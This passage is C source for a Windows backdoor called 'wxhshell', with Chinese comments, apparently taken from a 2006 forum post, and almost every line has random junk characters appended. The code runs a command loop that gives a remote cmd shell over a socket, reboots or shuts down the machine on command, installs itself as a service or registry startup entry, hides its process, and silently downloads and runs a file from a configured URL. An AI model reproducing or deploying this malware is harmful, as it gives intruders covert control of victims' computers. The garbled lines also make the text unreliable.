  // 帮助 Giid~e33  
  case '?': { S){)Z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rF3wx.  
    break; !eGC6o}f  
  } E:,/!9n  
  // 安装 sv2A-Dld  
  case 'i': { e|g5=2(Pr&  
    if(Install()) 2A']y D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +=>,Pto<  
    else vt/x ,Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cb@?}(aFl  
    break; C1V|0h u  
    } 6`&a&%,O  
  // 卸载 ML}J\7R  
  case 'r': { pf]xqhL  
    if(Uninstall()) ]l;o}+`G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m~w[~flgZ  
    else A9[ F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R#s )r  
    break; E7WK (  
    } >Ifr [  
  // 显示 wxhshell 所在路径 I:E`PZ  
  case 'p': { MH =%-S   
    char svExeFile[MAX_PATH]; FDv<\2+ c  
    strcpy(svExeFile,"\n\r"); X1:V<,}"  
      strcat(svExeFile,ExeFile); GiJ *Wp  
        send(wsh,svExeFile,strlen(svExeFile),0); Oz w.siD  
    break; I!ED?n  
    } <!&[4-;fU  
  // 重启 HNb/-e ,"  
  case 'b': { S%$ }(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^8]NxV@l  
    if(Boot(REBOOT)) )~& CvJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aacpM[{f  
    else { n|6Ic,:[  
    closesocket(wsh); aR[JD2G  
    ExitThread(0); uY{|szC^2  
    } PoHg,n]  
    break; :>rkG?NfL  
    } $1SPy|y  
  // 关机 zU,9T  
  case 'd': { 3Lfqdqj  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); SDC4L <!  
    if(Boot(SHUTDOWN)) R1s`z|?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AKY1o.>z  
    else { Mhm@R@  
    closesocket(wsh); w{{gu1#]G  
    ExitThread(0); .nO\kgoK  
    } &U{#Kt5q  
    break; C/_ZUF(V  
    } DMs,y{v  
  // 获取shell b k~( ^!R  
  case 's': { N(O9&L*4fm  
    CmdShell(wsh); #9=Vg  
    closesocket(wsh); c\/=iVw,  
    ExitThread(0); :v YYfs&  
    break; E}%B;"b/Tj  
  } {Je[ZQ$  
  // 退出 ?)/#+[xa  
  case 'x': { gBd]B03  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *tGY6=7O  
    CloseIt(wsh);  52Yq  
    break; :Oy%a'w   
    } f<-Jg  
  // 离开 pLl(iNf]  
  case 'q': { s'3 s^Dd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); We)xB  
    closesocket(wsh); oph}5Krd)  
    WSACleanup(); ;^+\K-O]c  
    exit(1); .7^c@i[  
    break; '"`IC\N^  
        } R1Pk TZP&  
  } )tG\vk=@  
  } NxfOF  
*=) cQeJ  
  // 提示信息 LhN|1f:9:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bUs0 M0y  
} UJ%R   
  } SP@ >vl+;  
"RedK '7g  
  return; /9 3M*b  
} ;:iY)}  
3N 8t`N  
// shell模块句柄 zh%#Y_[R  
int CmdShell(SOCKET sock) PoNi "Pv  
{ <<UB ^v m  
STARTUPINFO si; 6 o^,@~:R  
ZeroMemory(&si,sizeof(si)); `34zkPB??  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j 'FVz&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?}qttj  
PROCESS_INFORMATION ProcessInfo; W,D4.w$@'  
char cmdline[]="cmd"; Ig$(3p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?llXd4  
  return 0; i|c'Lbre`  
} y+Ra4G#/}  
Y y5h"r  
// 自身启动模式 }~2LW" 1'  
int StartFromService(void) K)6rY(x >  
{ :X"?kK0V  
typedef struct E~,F  
{ Q[Z8ok  
  DWORD ExitStatus; ih)zG  
  DWORD PebBaseAddress; $Y;U[_l#  
  DWORD AffinityMask; v/@^Q1 G/:  
  DWORD BasePriority; y>:N{|  
  ULONG UniqueProcessId; j 7fL7:,T  
  ULONG InheritedFromUniqueProcessId; $yN{-T"  
}   PROCESS_BASIC_INFORMATION; K'55O&2  
#:jHp44J  
PROCNTQSIP NtQueryInformationProcess; :1^LsLr5  
><RpEnWZ<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G, 44va  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p5Z"|\  
~3^ 8>d/  
  HANDLE             hProcess; YD <:,|H   
  PROCESS_BASIC_INFORMATION pbi; Mo y <@+  
svsqg{9z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -#7'r<I9@  
  if(NULL == hInst ) return 0; ,NOsFO-`<  
~Io7]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j_/>A=OD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *lYVY) L  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -^K"ZP1  
^"2i   
  if (!NtQueryInformationProcess) return 0; ~Uu4=  
e%@'5k\SK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0\H\lKcK  
  if(!hProcess) return 0; |<HPn4 ,X  
wYd b*"R  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :uP,f<=)K  
kh!FR u h  
  CloseHandle(hProcess); vhe>)h*B  
7z/|\D_{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?OId\'q  
if(hProcess==NULL) return 0; O $LfuL  
rr+|Zt Y  
HMODULE hMod; V n7*JS  
char procName[255]; vV6<^ W:9F  
unsigned long cbNeeded; Sw:7pByjI  
&[_g6OL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0[A[U_b  
d<% z 1Dj2  
  CloseHandle(hProcess); k\wW##=v  
"76 ]u)  
if(strstr(procName,"services")) return 1; // 以服务启动 O80<Z#%j`  
@>u]4Jn  
  return 0; // 注册表启动 \@WDV  
} l2`s! ,<>O  
r/4``shg  
// 主模块 [V^WGW2oY  
int StartWxhshell(LPSTR lpCmdLine) |"?M1*g  
{ FI[A[*fi  
  SOCKET wsl; w&X<5'GM  
BOOL val=TRUE; ccB&O _  
  int port=0; pSoiH<33  
  struct sockaddr_in door; +GG9^:<yr  
;>#wU'  
  if(wscfg.ws_autoins) Install(); < nXL  
'ZT^PV \  
port=atoi(lpCmdLine); 1Y/s%L  
+vvv[  
if(port<=0) port=wscfg.ws_port; ;QWIsVz  
dpJ_r>NI  
  WSADATA data; m/Oh\KlIl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4 kn|^  
d^ Inb!%w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   u_hD}V^x4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b+,' ;bW  
  door.sin_family = AF_INET; Mxe}B'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5G::wuxk  
  door.sin_port = htons(port); S-P/+K6  
YT8vP~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .|hf\1_J  
closesocket(wsl); fo5iJz"Z  
return 1; (XeE2l2M  
} LyZ.l*h%=m  
zer%W%  
  if(listen(wsl,2) == INVALID_SOCKET) { vBRQp&YwX  
closesocket(wsl); YHkn2]^#A  
return 1; n\QgOSr<  
} |h-QP#]/  
  Wxhshell(wsl); } uO);k5H  
  WSACleanup(); e7@ojOQ%  
0vFD3}~>  
return 0; R(('/JC  
Qi^Z11  
} <L`KzaA  
`2'#! -  
// 以NT服务方式启动 `rgn<I"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RzBF~2 >i  
{ _XG/Pp)  
DWORD   status = 0; .>CPRVuVI  
  DWORD   specificError = 0xfffffff; H!?c\7adX  
U@g4w!$r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )+l\w3^6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l9}3XI.=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q'|rgT  
  serviceStatus.dwWin32ExitCode     = 0; pczug-nB  
  serviceStatus.dwServiceSpecificExitCode = 0; lH#u  
  serviceStatus.dwCheckPoint       = 0; |L-]fjBbF  
  serviceStatus.dwWaitHint       = 0; $AfM>+GQ`n  
RLw;(*(g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h^?\xm|  
  if (hServiceStatusHandle==0) return; { WIJC ',Y  
<PapskO>  
status = GetLastError(); 8s"%u )  
  if (status!=NO_ERROR) Q(lo{AFc  
{ uZM{BgXXD  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4NGA/ G  
    serviceStatus.dwCheckPoint       = 0; fhar&\;S  
    serviceStatus.dwWaitHint       = 0; /h+8A' ,  
    serviceStatus.dwWin32ExitCode     = status; s1=X>'q  
    serviceStatus.dwServiceSpecificExitCode = specificError; :QpuO1Gu  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [ p{#XwN  
    return; s8wmCzB~  
  } 61. Brp.eP  
]gmexa=(i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xgbJ2Mh  
  serviceStatus.dwCheckPoint       = 0; ^=T$&gD  
  serviceStatus.dwWaitHint       = 0; g,}_G3[j0m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pi /g H  
} ;-9=RI0  
$eD.W  
// 处理NT服务事件,比如:启动、停止 qm./|#m>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) EKA#|^Q:NX  
{  5V6G=H  
switch(fdwControl) pNOwDJtK  
{ qC}-_u7s  
case SERVICE_CONTROL_STOP: DBPRGQ  
  serviceStatus.dwWin32ExitCode = 0; _(Sa4Vb=Q6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .P;*Dws  
  serviceStatus.dwCheckPoint   = 0; %C$% !C  
  serviceStatus.dwWaitHint     = 0; kgnmGuka  
  { &0='r;*i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3|WWo1  
  } !u_Y7i3^  
  return; E5)b  
case SERVICE_CONTROL_PAUSE: [pl'|B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; PK;*u,V  
  break; [<-  
case SERVICE_CONTROL_CONTINUE: f47Od-\-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |K6REkzr  
  break; |<#{"'/=  
case SERVICE_CONTROL_INTERROGATE: 2Or'c`|  
  break; whpfJNz  
}; ,RJtm%w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /a^1_q-bX  
} fBalTk;G{U  
T.@aep\"  
// 标准应用程序主函数 WX=Jl<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '$|[R98  
{ *+-}P|S:  
&{>cZh}\  
// 获取操作系统版本 ~p1j`r;  
OsIsNt=GetOsVer(); ]%|GmtqZs,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~KW,kyXBnD  
Qj,]N@7  
  // 从命令行安装 7[I}*3Q'  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4kG,*3 &2  
S/^"@?z,vE  
  // 下载执行文件 y=`2\L" O  
if(wscfg.ws_downexe) { N$h{Yvbn  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {U!8|(  
  WinExec(wscfg.ws_filenam,SW_HIDE); .z 6fv  
} GqWB{$J;"  
2W/?q!t  
if(!OsIsNt) { \]=7!RQ\  
// 如果时win9x,隐藏进程并且设置为注册表启动 ])L A42|  
HideProc(); CZ(/=3,3n  
StartWxhshell(lpCmdLine); & @s!<9$W  
} KHgBo}6  
else 4G$|Rx[{,  
  if(StartFromService()) l7W 6qNB  
  // 以服务方式启动 Pdt6nzfr  
  StartServiceCtrlDispatcher(DispatchTable); ZkAU17f  
else D[^m{ 9_  
  // 普通方式启动 5!l0zLQP o  
  StartWxhshell(lpCmdLine); _{r=.W+ w  
@c<3b2  
return 0; <z]cyXv/  
}
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只看该作者 1 发表于: 2006-10-10
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